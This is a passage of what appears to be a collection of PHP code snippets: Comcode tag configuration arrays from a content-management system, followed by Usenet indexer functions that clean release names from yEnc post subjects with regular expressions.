Usually this is done for certain parameters.\n\tglobal $REVERSABLE_TAGS;\n\t$REVERSABLE_TAGS=array('surround'=>1,'attachment_safe'=>1,'attachment2'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'highlight'=>1,'indent'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,\n\t\t\t\t\t\t\t\t\t\t'title'=>1,'size'=>1,'color'=>1,'font'=>1,'tt'=>1,'img'=>'#\\s(rollover|refresh\\_time)=#','url'=>1,'email'=>1,'upload'=>1,\n\t\t\t\t\t\t\t\t\t\t'semihtml'=>1,'html'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,\n\n\t\t\t\t\t\t\t\t\t\t/*Handled in special way*/\n\t\t\t\t\t\t\t\t\t\t'block'=>1,'contents'=>1,'concepts'=>1,'attachment'=>1,'flash'=>1,'menu'=>1,'reference'=>1,'page'=>1,'exp_thumb'=>1,'exp_ref'=>1,'thumb'=>1,'snapback'=>1,'post'=>1,'thread'=>1,'topic'=>1,'include'=>1,'random'=>1,'jumping'=>1,'shocker'=>1,);\n\t// These are not reversable, but we want them WYSIWYGABLE\n\tglobal $PUREHTML_TAGS;\n\t$PUREHTML_TAGS=array(/*'attachment2'=>1,'attachment_safe'=>'1*/); // Actually: there is some dynamicness even in this ($KEEP and $SESSION in particular -- and we couldn't even have them preserved inside a WYSIWYG-edit)\n\t// The following could conceivably not need to be reversed, as they're pure HTML. However, it's better not to let the WYSIWYG'd HTML get too complex.\n\t// 'tooltip'=>1,'section'=>1,'section_controller'=>1,'big_tab'=>1,'big_tab_controller'=>1,'tabs'=>1,'tab'=>1,'carousel'=>1,'flash'=>1,'hide'=>1,'quote'=>1,'ticker'=>1,'jumping'=>1\n\n\t// Any of these will cause free-for-all blacklist-filtered HTML to be disallowed, even if enabled via the hidden option\n\tglobal $POTENTIALLY_EMPTY_TAGS;\n\t$POTENTIALLY_EMPTY_TAGS=array('concepts'=>1,'staff_note'=>1,'if_in_group'=>1,'no_parse'=>1,'concept'=>1,'include'=>1,'random'=>1,'jumping'=>1);\n\n\t// The contents of these tags is human readable text. It may be altered for reasons of bork, or word-wrapping, or textcode; they have hard white space\n\tglobal $TEXTUAL_TAGS;\n\t$TEXTUAL_TAGS=array('overlay'=>1,'tooltip'=>1,'section'=>1,'surround'=>1,'if_in_group'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,'title'=>1,'size'=>1,'color'=>1,'highlight'=>1,'font'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'hide'=>1,'quote'=>1,'tab'=>1,'big_tab'=>1);\n\n\t// These tags don't have <br />'s done right after them because they are their own block-end (like a paragraph). They may contain textcode lists and rules\n\tglobal $BLOCK_TAGS;\n\t$BLOCK_TAGS=array('section'=>1,'section_controller'=>1,'tabs'=>1,'tab'=>1,'big_tab'=>1,'big_tab_controller'=>1,'carousel'=>1,'surround'=>1,'if_in_group'=>1,'exp_thumb'=>1,'contents'=>1,'concepts'=>1,'php'=>1,'codebox'=>1,'sql'=>1,'code'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'staff_note'=>1,'reference'=>1,'menu'=>1,'title'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'quote'=>1,'block'=>1,'hide'=>1);\n\n\t// These tags can only be used by privileged members\n\tglobal $DANGEROUS_TAGS;\n\t$DANGEROUS_TAGS=array('overlay'=>1,'if_in_group'=>1,'concepts'=>1,'random'=>1,'include'=>1,'block'=>1,'menu'=>1); // Don't want people putting menus around, plus the captions aren't escaped\n\n\t// These tags have contents that are not interpreted as Comcode (so no HTML tags either), but are formatted for white-space\n\tglobal $CODE_TAGS;\n\t$CODE_TAGS=array(/*'img'=>1 - no, can be a symbol for legacy reasons,*/'flash'=>1,'thumb'=>1,'menu'=>1,'no_parse'=>1,'code'=>1,'sql'=>1,'php'=>1,'tt'=>1,'samp'=>1,'codebox'=>1,'staff_note'=>1,'section_controller'=>1,'big_tab_controller'=>1);\n\n\t// ALSO:\n\t// See $non_text_tags list in comcode_renderer.php\n\t// See non_text_tags in JAVASCRIPT_EDITING.tpl\n\t// See _get_details_comcode_tags function in comcode_add.php\n\n\t// Hehe\n\tglobal $LEET_FILTER;\n\t$LEET_FILTER=NULL;\n\n\tglobal $ALLOWED_ENTITIES;\n//\t$ALLOWED_ENTITIES=array('raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'ndash'=>1,'mdash'=>1,'ldquo'=>1,'rdquo'=>1);\n\t$ALLOWED_ENTITIES=array('OElig'=>1,'oelig'=>1,'Scaron'=>1,'scaron'=>1,'Yuml'=>1,'circ'=>1,'tilde'=>1,'ensp'=>1,'emsp'=>1,'thinsp'=>1,'zwnj'=>1,'zwj'=>1,'lrm'=>1,'rlm'=>1,'ndash'=>1,'mdash'=>1,'lsquo'=>1,'rsquo'=>1,'sbquo'=>1,'ldquo'=>1,'rdquo'=>1,'bdquo'=>1,'dagger'=>1,'Dagger'=>1,'hellip'=>1,'permil'=>1,'lsaquo'=>1,'rsaquo'=>1,'euro'=>1,'Agrave'=>1,'Aacute'=>1,'Acirc'=>1,'Atilde'=>1,'Auml'=>1,'Aring'=>1,'AElig'=>1,'Ccedil'=>1,'Egrave'=>1,'Eacute'=>1,'Ecirc'=>1,'Euml'=>1,'Igrave'=>1,'Iacute'=>1,'Icirc'=>1,'Iuml'=>1,'ETH'=>1,'Ntilde'=>1,'Ograve'=>1,'Oacute'=>1,'Ocirc'=>1,'Otilde'=>1,'Ouml'=>1,'Oslash'=>1,'Ugrave'=>1,'Uacute'=>1,'Ucirc'=>1,'Uuml'=>1,'Yacute'=>1,'THORN'=>1,'szlig'=>1,'agrave'=>1,'aacute'=>1,'acirc'=>1,'atilde'=>1,'auml'=>1,'aring'=>1,'aelig'=>1,'ccedil'=>1,'egrave'=>1,'eacute'=>1,'ecirc'=>1,'euml'=>1,'igrave'=>1,'iacute'=>1,'icirc'=>1,'iuml'=>1,'eth'=>1,'ntilde'=>1,'ograve'=>1,'oacute'=>1,'ocirc'=>1,'otilde'=>1,'ouml'=>1,'oslash'=>1,'ugrave'=>1,'uacute'=>1,'ucirc'=>1,'uuml'=>1,'yacute'=>1,'thorn'=>1,'yuml'=>1,'nbsp'=>1,'iexcl'=>1,'curren'=>1,'cent'=>1,'pound'=>1,'yen'=>1,'brvbar'=>1,'sect'=>1,'uml'=>1,'copy'=>1,'ordf'=>1,'laquo'=>1,'not'=>1,'shy'=>1,'reg'=>1,'trade'=>1,'macr'=>1,'deg'=>1,'plusmn'=>1,'sup2'=>1,'sup3'=>1,'acute'=>1,'micro'=>1,'para'=>1,'middot'=>1,'cedil'=>1,'sup1'=>1,'ordm'=>1,'raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'iquest'=>1,'times'=>1,'divide'=>1,'amp'=>1,'lt'=>1,'gt'=>1,'quot'=>1);\n\n\tglobal $ADVERTISING_BANNERS;\n\t$ADVERTISING_BANNERS=NULL;\n\n\tglobal $NO_LINK_TITLES;\n\t$NO_LINK_TITLES=false;\n}", "public function about_contributor()\r\n\t{\r\n\t\t?>&clubs; \"About Contributor\" Module<?\r\n\t}", "public function audiobooks()\n\t{\n\t\t//Re: WEB Griffin - [18/26] - \"The Outlaws.par2\" yEnc\n\t\tif (preg_match('/^(Re: )?([\\w\\s]+) - \\[\\d+\\/\\d+\\] - \"(.+)[\\.-]([Pp]art|vol|jpg|sfv|mp3|nzb|nfo|rar).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2] . \", \" . $match[3];\n\t\t}\n\t\t//WEB Griffin - [06/26] - \"The Outlaws-Part06.mp3\" yEnc\n\t\t//Re: WEB Griffin - [18/26] - \"The Outlaws.par2\" yEnc\n\t\tif (preg_match('/^(Re: )?([\\w\\s]+) - \\[\\d+\\/\\d+\\] - \"(.+)[\\.-]([Pp]ar2).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2] . \", \" . $match[3];\n\t\t} //[05/13] - \"Into the Fire-Part03.mp3\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"(.+)-Part\\d+\\..+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[Repost - Original Damaged] [35/86] - \"Mark Twain - Personal Recollections of Joan of Arc Vol 1 and Vol 2 - 33 - 32 - Tinsel Trappings of Nobility.mp3\" yEnc\n\t\tif (preg_match('/^\\[Repost.+\\]\\s+\\[\\d+\\/\\d+\\] - \"(.+)\\.(part|vol|jpg|sfv|mp3|nzb|nfo|rar).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Repost - Original Damaged] [35/86] - \"Mark Twain - Personal Recollections of Joan of Arc Vol 1 and Vol 2 - 33 - 32 - Tinsel Trappings of Nobility.mp3\" yEnc\n\t\tif (preg_match('/^\\[Repost.+\\]\\s+\\[\\d+\\/\\d+\\] - \"(.+)\\.(par2).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [12/19] - \"Notorious Nineteen.part10.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"(.+)\\.(part|vol|jpg|sfv|mp3|nzb|nfo|rar).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [12/19] - \"Notorious Nineteen.part10.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"(.+)\\.(par2).*\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(08/10) \"The Vampire Diaries - Kampen.vol63+15.par2\" - 313,91 MB yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"(.+)[\\.-](part|vol|jpg|sfv|mp3|nzb|nfo|rar).*\" - \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/10) \"The Vampire Diaries - Raseriet.par2\" - 296,93 MB yEnc\n\t\tif (preg_match('/^(Re: )?\\(\\d+\\/\\d+\\) \"(.+)[\\.-](par2).*\" - \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Margaret Weis - Dragonlance Kr?niker Bind 1-6 [Danish AudioBook] [02/18] - \"DL-CRON.r00\" yEnc\n\t\tif (preg_match('/^(.+) \\[Danish.+\\] \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //David Baldacci - The Forgotten 128 kbps stereo [03/24] - \"The Forgotten 01.m4b\" yEnc\n\t\tif (preg_match('/^([\\w\\s\\d-]+) \\d+ kbps stereo \\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//ASOS0010 [03/40] - \"ASOS.r01\" yEnc\n\t\t//FFTT0010 (01/22) \"FFTT.r10\" yEnc\n\t\tif (preg_match('/(\\w{4}\\d{4}) [\\[\\(]\\d+\\/\\d+[\\]\\)][ -]+\"\\w{4}\\..+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Christopher Moore - Practrcal Demonkeeping (1992) [New Post] [04/15] \"Christopher Moore - Practical Demonkeeping 01.mp3\" yEnc\n\t\tif (preg_match('/^(.+) \\[New Post\\] \\[\\d+\\/\\d+\\] \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Christopher Moore - Coyote Blue (1994) NMR [04/17] \"Christopher Moore - Coyote Blue 01.mp3\" yEnc\n\t\tif (preg_match('/^(.+) NMR \\[\\d+\\/\\d+\\] \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Christopher Moore - Island of the Sequined Love Nun (1997) [09/19] \"Christopher Moore - Island of the Sequined Love Nun 06.mp3\" yEnc\n\t\tif (preg_match('/^(.+\\(\\d{4}\\)) \\[\\d+\\/\\d+\\] \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //NR - Jonathan Maberry - Extinction Machine - [26/98] - \"Extinction Machine - 26-89.mp3\" yEnc\n\t\tif (preg_match('/^NR - (.+) - \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[Seizing the Enigma - David Kahn (Unabridged)(NMR)] - [06/29] - \"DKSTE.part03.rar\" yEnc\n\t\tif (preg_match('/^\\[(.+)\\] - \\[\\d+\\/\\d+\\] - \".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[116/194] - \"David Baldacci - SK 03 Simple Genius - 21 - SK 03 Simple Genius - 021.mp3\" yEnc\n\t\tif (preg_match('/\\[\\d+\\/\\d+\\] - \"(.+) - \\d+ -.+-.+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Michael Moss - Salt Sugar Fat - How the Food Giants Hooked Us [03/20] \"Salt Sugar Fat - How the Food Giants Hooked Us 01.mp3\" yEnc\n\t\tif (preg_match('/^([\\s\\w\\d-]+) \\[\\d+\\/\\d+\\][ -]+\".+\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(TTC Audio - Impossible - Physics Beyond the Edge) [01/34] - \"TTC Audio - Impossible - Physics Beyond the Edge.sfv\" yEnc\n\t\tif (preg_match('/^\\((TTC Audio - .+)\\) \\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //TTC Audio - Impossible - Physics Beyond the Edge) (proper pars) [0/8] - \"(proper par2s) TTC Audio - Impossible - Physics Beyond the Edge.nzb\" yEnc\n\t\tif (preg_match('/^(TTC Audio - .+)\\)\\s\\(.+\\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function movies_divx()\n\t{\n\t\tif (preg_match('/^\\(www\\.Thunder-News\\.org\\) .+? - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Movieland Post Voor FTN - [01/43] - \"movieland0560.par2\" yEnc\n\t\tif (preg_match('/^[a-zA-Z ]+Post Voor FTN - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Disney short films collection by mayhem masta\"1923 - Alice's Wonderland.vol15+7.par2\" yEnc\n\t\tif (preg_match('/.+?by mayhem masta\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(http://dream-of-usenet.info) - [01/43] - \"Nicht.auflegen.2002.German.DL.AC3.BDRip.XviD-iNCEPTiON.nfo\" yEnc\n\t\tif (preg_match('/^\\(.+usenet\\.info\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[######]-[FULL]-[#hdtv@LinkNet]-[Sesame.Street.S41E03.1080i.HDTV.DD5.1.MPEG2-TrollHD]-[00/51] - \"Sesame Street S41E03 Chicken When It Comes to Thunderstorms 1080i HDTV DD5.1 MPEG2-TrollHD.nzb\" yEnc\n\t\tif (preg_match('/\\[#]+\\]-\\[.+\\]-\\[.+\\]-\\[(.+)\\][- ]\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[ Rules.of.Engagement.S06E12.720p.WEB-DL.DD5.1.H.264-CtrlHD ]-[01/24] - \"Rules.of.Engagement.S06E12.720p.WEB-DL.DD5.1.H.264-CtrlHD.nfo\" yEnc\n\t\tif (preg_match('/^\\[ ([a-zA-Z0-9.-]{6,}) \\]-\\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function documentaries()\n\t{\n\t\tif (preg_match('/^#sterntuary - (.+? - \".+?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(08/25) \"Wild Russia 5 of 6 The Secret Forest 2009.part06.rar\" - 47.68 MB - 771.18 MB - yEnc\n\t\t//(01/24) \"ITV Wild Britain With Ray Mears 1 of 6 Deciduous Forest 2011.nfo\" - 4.34 kB - 770.97 MB - yEnc\n\t\t//(24/24) \"BBC Great British Garden Revival 03 of 10 Cottage Gardens And House Plants 2013.vol27+22.PAR2\" - 48.39 MB - 808.88 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\)) \"((BBC|ITV) )?(.+?)(\\.part\\d+)?(\\.(par2|(vol.+?))\"|\\.[a-z0-9]{3}\"|\") - \\d.+? - (\\d.+? -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[4];\n\t\t} //\"Fat Head 2009 Tom Naughton (why we get fat documentary) XVID.par2\" (01/66) Paleo Low Carb Gluten-Free Diet yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' \\(\\d+\\/\\d+\\).+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[David.Attenboroughs.Natural.Curiosities.2013.5of5.Seeing.the.Pattern.720p.HDTV.x264.AAC-MVGroup]-[03/21] - \"danc-e05.r00\" yEnc\n\t\tif (preg_match('/^\\[(.+?MVGroup)\\]-\\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Battlefield S1 S01E04 \"Battlefield.104.The.Battle.of.Stalingrad.nfo\" yEnc\n\t\tif (preg_match('/^Battlefield S\\d S\\d+E\\d+ \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //BBC The Space Race 1to4of4 (2005) <docu-drama> - \"BBC.SR01.par2\" yEnc\n\t\tif (preg_match('/^(.+?) <docu-drama> - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //[ BBC.Time.Machine.Part.1.of.3.2004.DVDRip.x264.AAC.Cht-Eng-Sub.D5799E84-GFC ] [01/17] - \"gfc-tm1.sfv\" yEnc\n\t\t//[ Discovery.Channel.Discovery.Atlantis.1996.DVDRip.X264.AC3-xslidian ] [01/12] - \"d-da.sfv\" yEnc\n\t\t//[ Mount.Fuji.2008.blu-ray.x264.720p.AC3-CHD ] [01/48] - \"chd-mfj.sfv\" yEnc\n\t\tif (preg_match('/^\\[ (.+?) \\] \\[\\d+\\/\\d+\\] - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Rough Cut - Woodworking with Tommy Mac - Pilgrim Blanket Chest (1600s) DVDrip DivX - (02-17) \"Rough.Cut-Woodworking.with.Tommy.Mac-Pilgrim.Blanket.Chest.1600s-DVDrip.DivX.2010.par2\" - yEnc yEnc\n\t\tif (preg_match('/.*[\\(\\[]\\d+-(\\d+[\\)\\]])[-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}(\"|#34;)).+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t}\n\t\t//Asia This Week (NHK World, 19 & 20 July 2013) - 'Malala's movement for girls' education + Japan seeks imports from Southeast Asia - soccer players' - (02|14) - \"ATW-2013-07-20.par2\" yEnc\n\t\t//Asia Biz Forecast (NHK World, 6 & 7 July 2013) - 'China: limits of growth + Japan: remote access' - (05|14) - \"ABF-2013-07-07.part3.rar\" yEnc\n\t\tif (preg_match('/(Asia.+) - [\\(\\[]\\d+(\\|\\d+[\\)\\]])[-_\\s]{0,3}(\"|#34;).+?(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}(\"|#34;)).+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Asia Biz Forecast (NHK World, 16-17 June 2012) - \"Japan seeks energy options\" - File 01 of 14 - ABF-2012-06-16.nfo (yEnc\n\t\tif (preg_match('/(Asia.+) - File \\d+ of (\\d+)[-_\\s]{0,3}.+?(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}).+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Dark MatterDark Energy S02E06 - \"Dark Matter_Dark Energy S02E06 - The Universe - History Channel.part1.rar\" 51.0 MBytes yEnc\n\t\tif (preg_match('/^.+? S\\d+E\\d+ - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' (\\d+[,.]\\d+ [kKmMgG][bB]ytes) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //-'- Doc2011 -'- 01/16 - Glorious.Accidents.2011.par2 yEnc\n\t\tif (preg_match('/^.+Doc2011.+ \\d+\\/\\d+ - (.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"BBC.The.Treasures.of.Ancient.Rome.1of3.Warts.n.All.720p.HDTV.x264.AAC.MVGroup.org.mkv.025\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . ' {1,2}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn preg_replace('/MVGroup.+/', 'MVGroup', $match[1]);\n\t\t} //\"Time Team - 2012 - 05 - Beadnell, Northumbria.par2\" - [01 of 84 - 64 kb] yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\[\\d+ of \\d+ - \\d+([,.]\\d+)? [kKmMgG][bB]\\] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Lang Lang - Mendelssohn.m4v\" [2/9] yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(06/24) \"BBC Upgrade Me 2009.part04.rar\" - 47.68 MB - 807.79 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB] .+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(35/45) - Keating Pt4 - \"Keating Pt4.part34.rar\" - 1.77 GB - yEnc\n\t\tif (preg_match('/\\(\\d+\\/(\\d+\\) - .+) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' - \\d+[.,]\\d+ [kKmMgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(World Air Routes - WESTJET - B737-700) [028/109] - \"World Air Routes - WESTJET - B737-700.part027.rar\" yEnc\n\t\tif (preg_match('/^\\(.+?\\)\\[\\d+\\/(\\d+\\][-_\\s]{0,3}.+?)[-_\\s]{0,3}(\"|#34;)(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}(\"|#34;))[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //Beyond Vanilla (2010) Documentary DVDrip XviD-Uncut - (02/22) \"Beyond.Vanilla.2010.Documentary.DVDrip.XviD-Uncut.par2\" - yenc yEnc\n\t\tif (preg_match('/(.+?) - [\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}(\"|#34;).+?(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4})(\"|#34;)(.+?)yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Michael Woods, The Story Of India - Beginnings 1of6.avi.013 - [14/62] yEnc\n\t\tif (preg_match('/^(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) - \\[\\d+\\/\\d+\\] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //PBS Nature The Private Life of Deer (01/23) - \"PBS Nature 2013 The Private Life of Deer 720p x264 AAC.part01.rar\" - 1.41 GB yEnc\n\t\tif (preg_match('/^PBS.+\\(\\d+\\/\\d+\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //PBS - Inside Nature's Giants - Big Cats [100 of 101] \"PBS - Inside Nature's Giants - Big Cats.m4v.vol970+143.par2\" yEnc\n\t\tif (preg_match('/^PBS.+\\[\\d+ of \\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //59/63 \"Gates Of Heaven.vol023+19.PAR2\" yEnc\n\t\tif (preg_match('/^\\d+\\/\\d+ 